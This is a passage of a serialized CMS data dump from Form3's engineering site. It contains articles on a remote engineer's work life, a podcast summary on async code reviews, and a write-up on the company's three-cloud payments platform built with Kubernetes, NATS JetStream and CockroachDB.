process.",[],"rich_text$1ca887b6-183e-4ede-a1a9-b63cbf758fb6",{"variation":437,"version":438,"items":38209,"primary":38210,"id":38241,"slice_type":468,"slice_label":5},[],{"body":38211},[38212,38215,38218,38226,38229,38232,38235,38238],{"type":746,"text":38213,"spans":38214},"The interview process",[],{"type":25,"text":38216,"spans":38217},"Jordan was completely new to Go, which is typical for most of the candidates that we interview at Form3.",[],{"type":25,"text":38219,"spans":38220},"The first step in the Form3 interview process was a take home test, which aims to be closer to a real world situation than the typical Leetcode-style coding questions. Despite Jordan's lack of experience, he found resources on the internet which made it easy to accomplish.",[38221,38224],{"start":7635,"end":9211,"type":489,"data":38222},{"link_type":491,"url":38223,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fcandidate-pack\u002Fblob\u002Fmaster\u002Fpages\u002Fcoding-task.md",{"start":1251,"end":14740,"type":489,"data":38225},{"link_type":491,"url":38223,"target":493},{"type":25,"text":38227,"spans":38228},"After the take home test, the next step is the video interview which lasts 1.5hrs split into three parts:",[],{"type":1151,"text":38230,"spans":38231},"A further introduction to Form3",[],{"type":1151,"text":38233,"spans":38234},"A mock incident",[],{"type":1151,"text":38236,"spans":38237},"Take home task discussion",[],{"type":25,"text":38239,"spans":38240},"At the end, Jordan chose to join Form3 for a variety of reasons: tech stack, engineering culture, as well as his personal passion for economics and banking. He has had the opportunity to learn more about the financial aspects from colleagues since joining.",[],"rich_text$afb8c2fe-511b-4789-ae3d-ccab329113e3",{"variation":437,"version":438,"items":38243,"primary":38244,"id":38279,"slice_type":468,"slice_label":5},[],{"body":38245},[38246,38249,38252,38255,38258,38261,38264,38267,38270,38273],{"type":746,"text":38247,"spans":38248},"A day in the life of Jordan",[],{"type":25,"text":38250,"spans":38251},"Due to hiring at scale, Jordan's team, the tooling team, was split into two smaller teams. Jordan's team now has 2 Canada-based colleagues on his team, as well as team members from the UK, Poland and other European countries. The other team has a similar mix of locations. This means that there is a 5\u002F6 hour time difference between Jordan and the rest of the team.",[],{"type":25,"text":38253,"spans":38254},"A typical day for Jordan consists of:",[],{"type":1151,"text":38256,"spans":38257},"Waking up close to his meetings start time and grabbing a coffee (don't we know the feeling!)",[],{"type":1151,"text":38259,"spans":38260},"Logging into the team daily sync meeting, which is a 15 minute status meeting to highlight any blockers",[],{"type":1151,"text":38262,"spans":38263},"Depending on the day, there could be other team ceremonies such as refinement sessions or retrospectives. These meetings are kept to as much of a minimum as possible. Any amount of overlap time in a highly distributed team is extremely valuable, so the team don't want to take it all up with meetings.",[],{"type":1151,"text":38265,"spans":38266},"Working on new or existing tasks. Typically, this also means pairing with a fellow engineer for a few hours of the day.",[],{"type":25,"text":38268,"spans":38269},"Timewise, Jordan works approximately 9AM to 5PM. Most of his meetings will run from 9AM to 11AM local time (or 2PM to 4PM European time). He typically pairs until about 12PM, when he will break for lunch. Typically, he will be working by himself in the afternoon.",[],{"type":25,"text":38271,"spans":38272},"Pairing is standard practice at Form3 and working in a vastly different timezone does pose some difficulties. The overlap in time is typically 3 hours, so the team does require some planning for pairing. However, asynchronous communication is something that is required to move tasks forward.",[],{"type":25,"text":38274,"spans":38275},"As a side note, Jordan had never working with pair programming on his team before. Now, he can't imagine ever going back and working without pairing. You can read more about our approach to pairing in this wonderful blogpost.",[38276],{"start":3186,"end":7594,"type":489,"data":38277},{"link_type":491,"url":38278,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fremote-pair-programming","rich_text$a42647f4-024e-44f7-b36f-a48200ecaf88",{"variation":437,"version":438,"items":38281,"primary":38282,"id":38299,"slice_type":468,"slice_label":5},[],{"body":38283},[38284,38287,38290,38293,38296],{"type":746,"text":38285,"spans":38286},"Team adjustments",[],{"type":25,"text":38288,"spans":38289},"As the first Canada-based engineer, Jordan sees himself as a bit of a guinea pig for the team and company as a whole. He has played a crucial role in adjusting the team working processes to allow for working in locations across vast time differences. When he joined, the team did have to make some changes:",[],{"type":1151,"text":38291,"spans":38292},"Moved most of their team meetings in the afternoon for the European time zones, in order to allow Jordan to join in his morning time.",[],{"type":1151,"text":38294,"spans":38295},"Meetings with other teams also had to be moved in the afternoon for the European time zones. If these meetings cannot be moved, then catch-up meetings or notes are required to bring everyone up to speed.",[],{"type":25,"text":38297,"spans":38298},"Async communication takes place almost entirely on Slack, while GitHub is used to track issues and the progress of work. Slack bots are used to automate as much of the mentions and reminders as possible.",[],"rich_text$ada395d1-5806-43ac-bc53-9ed204f1cc0d",{"variation":437,"version":438,"items":38301,"primary":38302,"id":38328,"slice_type":468,"slice_label":5},[],{"body":38303},[38304,38307,38310,38313,38316,38319,38322,38325],{"type":746,"text":38305,"spans":38306},"Project work",[],{"type":25,"text":38308,"spans":38309},"Jordan gives us an idea of how the Tooling team organise and deliver their work:",[],{"type":1151,"text":38311,"spans":38312},"When it comes to planning, the team makes a quarterly plan together with their product manager (PM). The PM has the overview of any client requirements and whether there are any immediate team dependencies on the Tooling team.",[],{"type":1151,"text":38314,"spans":38315},"Then, they use GitHub to create and prioritise granular tasks.",[],{"type":1151,"text":38317,"spans":38318},"From there, the team is allowed to choose their own work, respecting the set priorities as much as possible. They then start tackling tasks as quickly as possible.",[],{"type":1151,"text":38320,"spans":38321},"Every so often, the team have refinement meetings with their team lead to ensure that everyone is in alignment with the tasks that they are delivering, including the revision of deadlines.",[],{"type":25,"text":38323,"spans":38324},"Engineers at Form3 take a lot of ownership of their work. Ultimately, their lead is responsible for all the work that the team delivers. However, the team is expected to step up for issues or providing support to other teams. The Tooling on-call engineer will have an overview of who's worked on the features and be able to refer issues to the correct person. In a highly remote team, a highly refined backlog is crucial. It prevents those in other timezones from being stuck on tasks until the rest of the team come online and are able to provide guidance.",[],{"type":25,"text":38326,"spans":38327},"Documentation is another important aspect of the work that Jordan does on the Tooling team, as it provides guidance and knowledge-transfer to other teams. It's extremely important to keep progress and details of a task up to date to prevent drift in scope and project completion. At Form3, documentation is usually written at the end, as part of the definition of done. This ensures that we keep documentation up-to-date through the life of the project.",[],"rich_text$54c6b7d7-4881-4f90-88ff-1c5e2f0d7072",{"variation":437,"version":438,"items":38330,"primary":38331,"id":38348,"slice_type":468,"slice_label":5},[],{"body":38332},[38333,38336,38339,38342,38345],{"type":746,"text":38334,"spans":38335},"Advice",[],{"type":25,"text":38337,"spans":38338},"After working in a highly remote environment for nearly a year, Jordan can make the following two recommendations:",[],{"type":1151,"text":38340,"spans":38341},"Both the new joiner and the team need to be flexible to ensure that the remote joiner is not left to the wayside.",[],{"type":1151,"text":38343,"spans":38344},"Async communication should be the default choice. While it may feel that we are more connected when we jump on calls, async communication needs to move as the first priority to ensure that nobody is missing anything. Meetings should be recorded, allowing people to catch up.",[],{"type":25,"text":38346,"spans":38347},"Once you get into this routine of working, it flows pretty easily. Jordan is enjoying his time at Form3 and he is happy he took the leap in joining such a remote, distributed team.",[],"rich_text$48ef01ad-101c-4f31-bba5-72092796e8f1",{"id":38350,"uid":38351,"type":25949,"data":38352},"alz04BEAACwAUWa7","podcast-async-reviews",{"title":38353,"excerpt":38354,"card_image":38355,"published_date":38360,"reading_time":4603,"tag":25960,"dek":38354,"featured_image":38361,"about_form3":38367,"client_about_heading":5,"client_about_body":38368,"author_name":18970,"author_title":18971,"author_photo":38369,"author_bio":38372,"author_linkedin":38375,"slices":38377,"meta_title":38353,"meta_description":38354},".tech Podcast - Alternatives to async code reviews","Dragan Stepanović is a Senior Principal Engineer at Talabat. He joins Renato Rodrigues de Araujo, Senior Software Engineer at Form3, to discuss asynchronous pull request based code reviews. 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Dragan has experience working at different sizes of companies, from small to large corporates. He became interested in Extreme Programming (XP) early on in his career. Then, he started diving into architecture, Domain Driven Design (DDD) and LEAN as tools to enable engineers to maximise their throughput for their stakeholders.",[38405,38408,38411,38414,38417],{"start":398,"end":6911,"type":489,"data":38406},{"link_type":491,"url":38407},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdstepanovic\u002F",{"start":1251,"end":592,"type":489,"data":38409},{"link_type":491,"url":38410},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Ftalabat-com\u002F",{"start":3774,"end":19848,"type":489,"data":38412},{"link_type":491,"url":38413},"http:\u002F\u002Fwww.extremeprogramming.org\u002F",{"start":767,"end":29412,"type":489,"data":38415},{"link_type":491,"url":38416},"https:\u002F\u002Fmartinfowler.com\u002Fbliki\u002FDomainDrivenDesign.html",{"start":19200,"end":29391,"type":489,"data":38418},{"link_type":491,"url":38419},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=OAeq6kaZS_w",{"type":25,"text":38421,"spans":38422},"Renato Rodrigues de Araujo is a Senior Software Engineer at Form3. Renato is part of the Tooling Team, which is responsible for making the lives of engineers easier by maintaining internal tools.",[38423,38426],{"start":398,"end":5574,"type":489,"data":38424},{"link_type":491,"url":38425},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Frenatoraraujo\u002F",{"start":685,"end":9237,"type":489,"data":38427},{"link_type":491,"url":37422},"rich_text$d54e0623-9218-47dc-a3a5-eb83bae350b9",{"variation":437,"version":438,"items":38430,"primary":38431,"id":38482,"slice_type":468,"slice_label":5},[],{"body":38432},[38433,38436,38442,38445,38448,38451,38454,38457,38460,38463,38467,38470,38473],{"type":746,"text":38434,"spans":38435},"Introduction to async code reviews",[],{"type":25,"text":38437,"spans":38438},"Dragan explains that async code reviews are a way of working that is closely related to the pull request (PR) based model.",[38439],{"start":12970,"end":12974,"type":489,"data":38440},{"link_type":491,"url":38441},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fpull-requests\u002Fcollaborating-with-pull-requests\u002Fproposing-changes-to-your-work-with-pull-requests\u002Fabout-pull-requests",{"type":25,"text":38443,"spans":38444},"The process usually consists of:",[],{"type":1151,"text":38446,"spans":38447},"At the start of the sprint, one developer starts working on a feature, writing the code and tests.",[],{"type":1151,"text":38449,"spans":38450},"Once they are satisfied, they invite other engineers in their team to give them feedback.",[],{"type":1151,"text":38452,"spans":38453},"The developer then raises a PR with the changes that they've made and invite their team mates.",[],{"type":1151,"text":38455,"spans":38456},"Those invited to give feedback are not usually available immediately, so the review typically does not happen immediately.",[],{"type":1151,"text":38458,"spans":38459},"As the author waits for their team feedback, they typically start working on another feature or piece of work.",[],{"type":1151,"text":38461,"spans":38462},"The review process goes back and forth between the author and their team with a delay.",[],{"type":1151,"text":38464,"spans":38465},"The async code review process inherently involves delays in the process, as reviewers ask for changes and authors then have to incorporate them later when time allows.",[38466],{"start":2971,"end":4889,"type":593},{"type":1151,"text":38468,"spans":38469},"At the end, the PR becomes approved and the change becomes incorporated in the main\u002Ftrunk branch.",[],{"type":25,"text":38471,"spans":38472},"The pull request based async code review model of working has been adopted from the open source community, which tends to be a very different context than we have in typical product development teams. This is now the most popular way of delivering features.",[],{"type":25,"text":38474,"spans":38475},"Renato shares that Form3 uses a mixture of practices due to the nature of the business. As Form3 deals with sensitive financial data, some changes require verification by specialists outside the team. The teams do maintain their own repositories and approve as many changes internally as possible. For time sensitive changes, teams use pairing and mobbing sessions to accelerate the development and review process, mitigationg some of the delays usually incurred by async code reviews.",[38476,38479],{"start":13933,"end":13604,"type":489,"data":38477},{"link_type":491,"url":38478},"https:\u002F\u002Fmartinfowler.com\u002Farticles\u002Fon-pair-programming.html",{"start":33513,"end":2608,"type":489,"data":38480},{"link_type":491,"url":38481},"https:\u002F\u002Fwww.agilealliance.org\u002Fresources\u002Fexperience-reports\u002Fmob-programming-agile2014","rich_text$ada81eb0-e4c5-4ff1-b6b2-717ebd31e690",{"variation":437,"version":438,"items":38484,"primary":38485,"id":38514,"slice_type":468,"slice_label":5},[],{"body":38486},[38487,38490,38496,38499,38505,38510],{"type":746,"text":38488,"spans":38489},"Async code review study",[],{"type":25,"text":38491,"spans":38492},"Driven by a want to help teams improve their ways of working, Dragan has conducted a study on async code reviews. Based on his experience with extreme programming which involves a lot of collaboration, he wanted to see how he could improve their development process and shorten delays.",[38493],{"start":11954,"end":12805,"type":489,"data":38494},{"link_type":491,"url":38495},"https:\u002F\u002Fwww.infoq.com\u002Farticles\u002Fco-creation-patterns-software-development\u002F",{"type":25,"text":38497,"spans":38498},"The study consists of analysing more than 40000 PRs in over 40 very active repositories in typical product development teams. The significant study highlighted some interesting insights. One of the most surprising findings is around the delays incurred by PRs.",[],{"type":25,"text":38500,"spans":38501},"The queue time or wait time represents the time that the pull request stays in an open state, not being worked on or reviewed. The study plotted the correlation of PR size to wait time in a scatterplot. The systemic behaviour that emerged showed that the wait time per size increases exponentially.",[38502,38503,38504],{"start":4603,"end":2987,"type":593},{"start":2769,"end":3485,"type":593},{"start":9258,"end":26123,"type":593},{"type":25,"text":38506,"spans":38507},"Developers generally agree that big PRs are hard to understand and review and they should be avoided. However, keeping the PRs small improves the readability and review difficulty, but incurs exponentially long wait time per size, which is introduced by the delays of the async code reviews on multiple small PRs. This means that the system throughput also exponentially decreases. In a nutshell, small PRs actually increased delivery times when used together with async code reviews. This is definitely a surprising finding of the study.",[38508],{"start":38509,"end":17798,"type":593},334,{"type":25,"text":38511,"spans":38512},"Dragan shares that teams can easily collect these metrics in their own repositories by looking at the lead times of their PRs, which is time elapsed from the first commit to the time that the PR is merged. They can then plot these times against the size of the PR to gain insights into their ways of working.",[38513],{"start":4073,"end":12805,"type":593},"rich_text$51440d89-2b3f-4db9-912c-99c1b3d4434f",{"variation":437,"version":438,"items":38516,"primary":38517,"id":38542,"slice_type":468,"slice_label":5},[],{"body":38518},[38519,38522,38525,38530,38533,38536,38539],{"type":746,"text":38520,"spans":38521},"Engineering team collaboration",[],{"type":25,"text":38523,"spans":38524},"Based on his extensive experience, Dragan can make some recommendations on team collaboration, aside from the imperfect practice of using async code reviews:",[],{"type":1151,"text":38526,"spans":38527},"Teams should shift the things that they optimise for and focus on flow efficiency, as opposed to resource efficiency. This change in focus will help teams optimise the lead times for customer delivery, as opposed to measuring how much work the individual developer is able to deliver. The concept of flow efficiency comes from the LEAN way of working.",[38528,38529],{"start":14740,"end":3289,"type":593},{"start":4084,"end":19148,"type":593},{"type":1151,"text":38531,"spans":38532},"As a progressive idea from async code reviews to more synchronous work, moving to a continuous code review helps to diminish the tradeoff between speed and quality. Teams should try to review PRs synchronously, as soon as the author raises it.",[],{"type":1151,"text":38534,"spans":38535},"The next step from synchronous code reviews is then to collaborate and make changes together. If you have everyone that you need working on the change, then you also have the expertise to review the change present as well.",[],{"type":1151,"text":38537,"spans":38538},"Teams should also set the expectations that they will focus on shortening lead times and improving the process of delivering customer value. This calls for changes in engineering culture, where engineers know that they will be working together. Everyone in the team should optimise for the same things to collaborate synchronously and successfully.",[],{"type":25,"text":38540,"spans":38541},"Remote working can make synchronous collaboration more difficult due to the difference in timezones. Renato shares how synchronous collaboration happens in his team, which has colleagues based in the UK and Canada. The 5 hours difference between the two main locations means that synchronous collaboration can be more difficult. Renato believes that working together is not only about coding together, but also understanding and breaking down the problem together. Long hours of calls can be difficult to manage, but getting the team on the same page as early as possible will help minimise the number of times that the PR review goes back and forth, thus reducing the delay incurred by async code reviews.",[],"rich_text$b90cc96c-f936-435b-ab39-6c3847a4c342",{"variation":437,"version":438,"items":38544,"primary":38545,"id":38559,"slice_type":468,"slice_label":5},[],{"body":38546},[38547,38550,38553,38556],{"type":746,"text":38548,"spans":38549},"The cost of synchronous collaboration",[],{"type":25,"text":38551,"spans":38552}," Dragan addresses the myth that synchronous collaboration increases costs. If we want to reduce cost, we should focus on improving the throughput of our teams, which reduces costs as a byproduct.",[],{"type":25,"text":38554,"spans":38555},"Multiple people working on the same project or domain are heavily interdependent on each other. In such a team, if people are working individually, we are sure that we will incur delays. Therefore, it pays to have a systemic view in mind, as opposed to focusing on what the individual people are working on.",[],{"type":25,"text":38557,"spans":38558},"Renato uses pairing in his team and can offer the perspective of a Form3 team. Due to the reliance on specialists, some pieces of work still incur delays due to the need for approvals, even if the team is pairing. However, if the team has full control of its work, then pairing does speed up development.",[],"rich_text$3c6dab90-a213-4ed6-9d5c-c05193110130",{"variation":437,"version":438,"items":38561,"primary":38562,"id":38574,"slice_type":468,"slice_label":5},[],{"body":38563},[38564,38567,38570],{"type":746,"text":38565,"spans":38566},"The educational value of code reviews",[],{"type":25,"text":38568,"spans":38569},"Code reviews are often seen as an educational tool. However, Dragan points out that they do not tell the story of how the developer arrived to the solution. The just-in-time, immediate feedback received through pairing and mobbing already contains this context.",[],{"type":25,"text":38571,"spans":38572},"Therefore, synchronous collaboration accelerates the rate of knowledge sharing in the team, especially when it comes to internal team silos. This also provides a lot of flow resilience when it comes to services, improving the mean time to recovery.",[38573],{"start":3407,"end":9216,"type":593},"rich_text$9c9a01f2-1fd7-4986-9206-88464b1d1c80",{"id":38576,"uid":38577,"type":25949,"data":38578},"alz05xEAACsAUWbW","podcast-build-multicloud",{"title":38579,"excerpt":38580,"card_image":38581,"published_date":38586,"reading_time":2375,"tag":25960,"dek":38580,"featured_image":38587,"about_form3":38592,"client_about_heading":5,"client_about_body":38593,"author_name":18970,"author_title":18971,"author_photo":38594,"author_bio":38597,"author_linkedin":38600,"slices":38602,"meta_title":38579,"meta_description":38580},".tech Podcast - Building multi-cloud at Form3","Kevin Holditch is Head of Platform Engineering at Form3. He joins us to share the interesting problems the Platform Engineering team work on and how the Form3 payments platform was built. Then, he explains why the team decided to build a multi-cloud platform across three clouds and presents an overview of how the technologies behind this exciting project are configured.",{"dimensions":38582,"alt":38579,"copyright":5,"url":38583,"id":38584,"edit":38585},{"width":412,"height":412},"\u002F_prismic-media\u002F54ebf164b0043e2d-u8IPNwbRJ0mVy2T_podcast-build-multicloud.png","_u8IPNwbRJ0mVy2T",{"x":398,"y":398,"zoom":399,"background":400},"2022-12-15",{"dimensions":38588,"alt":5,"copyright":5,"url":38589,"id":38590,"edit":38591},{"width":501,"height":33951},"\u002F_prismic-media\u002Fb50906c446f42344-wBLfJt0bA3Vis59Q_6b68ff96-8af0-44fb-ab7e-8b86a06.png","wBLfJt0bA3Vis59Q",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":38595,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":38596},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[38598],{"type":25,"text":25971,"spans":38599},[],{"link_type":491,"key":38601,"url":25975,"target":493},"9ad4d8ad-28c7-4faf-8dfc-03323d7e164c",[38603,38623,38635,38682,38720,38749,38771,38794,38808],{"variation":437,"version":527,"items":38604,"primary":38605,"id":38622,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":38606,"body":38610,"cta_label":10704,"cta_link":38613,"aside_type":5,"aside_image":38616,"aside_video":38617,"aside_video_poster":38618,"aside_video_reduced_motion":38619,"aside_video_url":5,"aside_embed":38620,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":38621,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[38607],{"type":746,"text":38608,"spans":38609},"Ep 38 .tech - Building multi-cloud at Form3",[],[38611],{"type":25,"text":10702,"spans":38612},[],{"link_type":491,"key":38614,"url":38615},"d5d5caf9-fd08-4fed-a00a-fb7924140edc","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-38-tech-building-multi-cloud-at-form3-_Z5Ha5ch",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$fc8f9079-6f88-496c-b0e5-a9eca6a2d4df",{"variation":437,"version":438,"items":38624,"primary":38625,"id":38634,"slice_type":468,"slice_label":5},[],{"body":38626},[38627],{"type":25,"text":38628,"spans":38629},"Kevin Holditch is Head of Platform Engineering at Form3. Kevin leads and looks after the Platform Engineering teams, who have been working on the Form3 multi-cloud platform.",[38630,38632],{"start":398,"end":2987,"type":489,"data":38631},{"link_type":491,"url":25989},{"start":2971,"end":3853,"type":489,"data":38633},{"link_type":491,"url":37422},"rich_text$4712cb56-1e75-4708-bdb8-2eb92064437c",{"variation":437,"version":438,"items":38636,"primary":38637,"id":38681,"slice_type":468,"slice_label":5},[],{"body":38638},[38639,38642,38645,38650,38655,38659,38662,38674,38678],{"type":746,"text":38640,"spans":38641},"The platform team at Form3",[],{"type":25,"text":38643,"spans":38644},"The Form3 engineering department is divided into different groups, internally called \"business lines\". Each of these business lines is responsible for a separate part of engineering at Form3. Some lines are arranged around product such UK, Euro etc. and those teams build products on the platform. Other teams are responsible for cross-cutting concerns, such as the Platform Engineering teams that provide a platform for other engineering teams to build on top of. The Platform Engineering take care of a lot of important aspects such as providing a secure way to run workloads.",[],{"type":25,"text":38646,"spans":38647},"Form3 solve a problem that banks have, which is moving money between accounts at different banks. Looking at an example, let's say we need to move money between Bank A and Bank B. At a lower level, a couple of things have to happen:",[38648,38649],{"start":9289,"end":21710,"type":765},{"start":15361,"end":3045,"type":765},{"type":1151,"text":38651,"spans":38652},"First, the account holder at Bank A will need to instruct their bank to send money to an account holder at Bank B.",[38653,38654],{"start":871,"end":628,"type":765},{"start":782,"end":2055,"type":765},{"type":1151,"text":38656,"spans":38657},"Next, Bank B will need to validate that the they have such an account holder and accept that the money will come in.",[38658],{"start":2375,"end":2707,"type":765},{"type":1151,"text":38660,"spans":38661},"Finally, once both parties have accepted, they need a way to transfer the money between each other.",[],{"type":25,"text":38663,"spans":38664},"The answer to all of these problems is a payment scheme. There are many types of payment schemes around the globe. In the UK, the two biggest ones are FPS and BACS. In Europe, there are the SEPA payment schemes.",[38665,38666,38668,38671],{"start":1977,"end":3853,"type":765},{"start":14326,"end":4522,"type":489,"data":38667},{"link_type":491,"url":15099},{"start":2675,"end":9050,"type":489,"data":38669},{"link_type":491,"url":38670},"https:\u002F\u002Fwww.bacs.co.uk\u002Fabout\u002F",{"start":7016,"end":28769,"type":489,"data":38672},{"link_type":491,"url":38673},"https:\u002F\u002Fwww.europeanpaymentscouncil.eu\u002Fabout-sepa",{"type":25,"text":38675,"spans":38676},"These payment schemes solve the fundamental problem of moving money between banks, but they all do it in completely different ways. The aspects vary from: connection mode, message formats, error handling etc. Therefore, for Bank A to serve the UK market, they would have to build two separate integrations to the UK payment schemes in order to allow customers to send and receive money. This results in a lot of infrastructure to maintain, as some payment schemes require it. There is also maintenance burden as well, as payment schemes make changes to their APIs every year.",[38677],{"start":7594,"end":10496,"type":765},{"type":25,"text":38679,"spans":38680},"The Form3 proposition is a single, unified API that provides cloud-based and private connectivity options. All the scheme specifics are abstracted behind the API, allowing customers to integrate with the API once. Customers create a single resource that describes the intent of what they want to do and on which payment scheme. Internally, the Form3 platform then handles the mapping and all the other integration details with the desired payment schemes.",[],"rich_text$b9e5abf1-d938-4bab-af0e-fa0fd044bb55",{"variation":437,"version":438,"items":38683,"primary":38684,"id":38719,"slice_type":468,"slice_label":5},[],{"body":38685},[38686,38689,38692,38695,38701,38710,38716],{"type":746,"text":38687,"spans":38688},"A look back at the 2016 platform",[],{"type":25,"text":38690,"spans":38691},"When Form3 started with 4 engineers, they made the decision that they wanted to build everything on the cloud, IaC and a containerised microservice architecture. This also had the benefit that it allowed the early team to offload as much responsibility as possible to the cloud vendor, allowing the Form3 engineers to focus on building products.",[],{"type":25,"text":38693,"spans":38694},"The primary services they chose to build the platform on were:",[],{"type":1151,"text":38696,"spans":38697},"AWS ECS for running Docker containers.",[38698],{"start":398,"end":1130,"type":489,"data":38699},{"link_type":491,"url":38700},"https:\u002F\u002Faws.amazon.com\u002Fecs\u002F",{"type":1151,"text":38702,"spans":38703},"AWS SQS & AWS SNS asynchronous processing of payments.",[38704,38707],{"start":398,"end":1130,"type":489,"data":38705},{"link_type":491,"url":38706},"https:\u002F\u002Faws.amazon.com\u002Fsqs\u002F",{"start":905,"end":6911,"type":489,"data":38708},{"link_type":491,"url":38709},"https:\u002F\u002Faws.amazon.com\u002Fsns\u002F",{"type":1151,"text":38711,"spans":38712},"PostgreSQL running on AWS RDS for managing backups, updates and keeping the database running.",[38713],{"start":7635,"end":871,"type":489,"data":38714},{"link_type":491,"url":38715},"https:\u002F\u002Faws.amazon.com\u002Frds\u002F",{"type":25,"text":38717,"spans":38718},"This design really served Form3 well and allowed the team to scale.",[],"rich_text$19da17a8-2090-4368-993e-536049baf698",{"variation":437,"version":438,"items":38721,"primary":38722,"id":38748,"slice_type":468,"slice_label":5},[],{"body":38723},[38724,38727,38730,38733,38736],{"type":746,"text":38725,"spans":38726},"Building multi-cloud",[],{"type":25,"text":38728,"spans":38729},"However, when some of the bigger banks wanted to move to the platform, the regulators wanted them to provide an exit strategy so that they are not coupled to any particular cloud vendor. The point of view of the regulators is that they don't want an outage to affect the UK economy. The bigger banks then pushed this requirement onto Form3.",[],{"type":25,"text":38731,"spans":38732},"There were a couple of directions the team could have gone to solve this issue:",[],{"type":1151,"text":38734,"spans":38735},"They could have picked another cloud and all the proprietary technologies needed. For example, they could have picked Google and all the corresponding services that they provide. However, this would have required: a full rewrite of the platform, maintaining two different versions of our services and a Big Bang migration of all the services before any single payment could be processed on the new solution.",[],{"type":1151,"text":38737,"spans":38738},"They could have picked technologies that could run on any cloud to replace the proprietary they were using. These are: Kubernetes, NATS JetStream and CockroachDB. This allowed the team to build a Form3 platform that works on any cloud and deliver services on a rolling basis, avoiding the Big Bang migration required of the previous approach.",[38739,38742,38745],{"start":4178,"end":15360,"type":489,"data":38740},{"link_type":491,"url":38741},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Foverview\u002F",{"start":4105,"end":19521,"type":489,"data":38743},{"link_type":491,"url":38744},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream",{"start":9206,"end":9289,"type":489,"data":38746},{"link_type":491,"url":38747},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fproduct\u002F","rich_text$d31d6850-ecfd-49a4-9b53-e54ff4a65996",{"variation":437,"version":438,"items":38750,"primary":38751,"id":38770,"slice_type":468,"slice_label":5},[],{"body":38752},[38753,38755,38761,38764,38767],{"type":746,"text":11628,"spans":38754},[],{"type":25,"text":38756,"spans":38757},"At a high-level, the data storage technologies used by multi-cloud use RAFT under the covers. This means that the multi-cloud solution needs 3 places to store data to fulfill the requirement of not being dependent on any cloud. Due to this, the team decided to build the platform on the 3 biggest vendors: AWS, GCP and Azure.",[38758],{"start":1658,"end":2651,"type":489,"data":38759},{"link_type":491,"url":38760},"https:\u002F\u002Fraft.github.io\u002F",{"type":25,"text":38762,"spans":38763},"The three clouds are then networked together on a Form3 private network, running a Kubernetes cluster in each. Then, a NATS JetStream cluster is spanned across the three clouds. Similarly, the Cockroach database is spanned across the clouds as well. This gives the product teams a consistent architecture to build against, only having to integrate with the cloud agnostic technologies. In fact, they don't even need to care about what cloud their workload is running in!",[],{"type":25,"text":38765,"spans":38766},"This multi-cloud solution means that the software is much easier to write and the team only need to maintain one version of their services.",[],{"type":25,"text":38768,"spans":38769},"The need for running in three clouds comes down to Form3's business requirement for high consistency: payments cannot be lost or duplicated. As previously discussed, CockroachDB uses RAFT. The team have set it so that two of three clouds have to agree on the write for it to be consistent. The quorum based consensus means that there must be an odd number of nodes and the majority have to agree. Due to this configuration, the team have built a multi-cloud solution on three clouds to ensure that writes can continue to happen in the case of a one cloud\u002Fnode outage.",[],"rich_text$292ba22f-7288-464e-9333-7d4e8e8d25df",{"variation":437,"version":438,"items":38772,"primary":38773,"id":38793,"slice_type":468,"slice_label":5},[],{"body":38774},[38775,38778,38781,38784,38787,38790],{"type":746,"text":38776,"spans":38777},"Networking in multi-cloud",[],{"type":25,"text":38779,"spans":38780},"This is one of the most challenging aspects of running a multi-cloud architecture. The team had two high-level options. The first option was to connect through Internet-based connections, but its not ideal for sensitive payment data to travel through a public network and the internet gives no guarantees of network stability or latency. The better option was to use a private network between the clouds with guaranteed latency and SLAs. In order to facilitate that, the team made a connection between each of the clouds down to the data centers. The cloud vendors provide these possibilities out of the box.",[],{"type":25,"text":38782,"spans":38783},"With these connections in place, the team used private CIDR ranges and sub-divided them up between the clouds. The routers in the data centers, where the cables are coming in from the cloud, have routes set up to handle these ranges and send the traffic to the correct cloud based on the range they are looking for.",[],{"type":25,"text":38785,"spans":38786},"On the cloud side, the connection comes into a gateway and then onto a router which is set up to route the traffic on to the VPC inside the cloud. For example, if a pod in AWS wants to send a request to a pod in GCP, then it will send the request down to the data center, and the router in the data center will send that on to GCP and the infrastructure inside the GCP will forward that request further to VPC as configured.",[],{"type":25,"text":38788,"spans":38789},"One final detail is that the Kubernetes clusters are setup so that the pods get allocated IP addresses within the cloud VPC. A typical Kubernetes setup sees the pod IPs in a different CIDR range to the host network. In the multi-cloud configuration, the pods are in the same CIDR range as the host VPC.",[],{"type":25,"text":38791,"spans":38792},"The setup allows pods to communicate with each other across the clouds and underpins the ability to run CockhroachDB in the multi-cloud setup, where CockroachDB nodes need to be able to communicate to ensure consensus.",[],"rich_text$803689b3-bf50-4c88-bc20-d2a0ab3a5f2a",{"variation":437,"version":438,"items":38795,"primary":38796,"id":38807,"slice_type":468,"slice_label":5},[],{"body":38797},[38798,38801,38804],{"type":746,"text":38799,"spans":38800},"Performance & consistency",[],{"type":25,"text":38802,"spans":38803},"The new multi-cloud platform has been designed for big customers, so performance is an important aspect of the solution. The performance numbers are orders of magnitude faster than the previous solution, even though it is running across multiple cloud vendors. In general, the latency between the clouds is comparable to two Availability Zones within a single cloud.",[],{"type":25,"text":38805,"spans":38806},"CockroachDB solves the problem of consistency for the Form3 platform. This does sacrifice a little bit of performance, as an extra request to another cloud must be made on every write. This should only be used for the hot path payments processing functionality of the platform. Reporting and other types of processing will be made off of 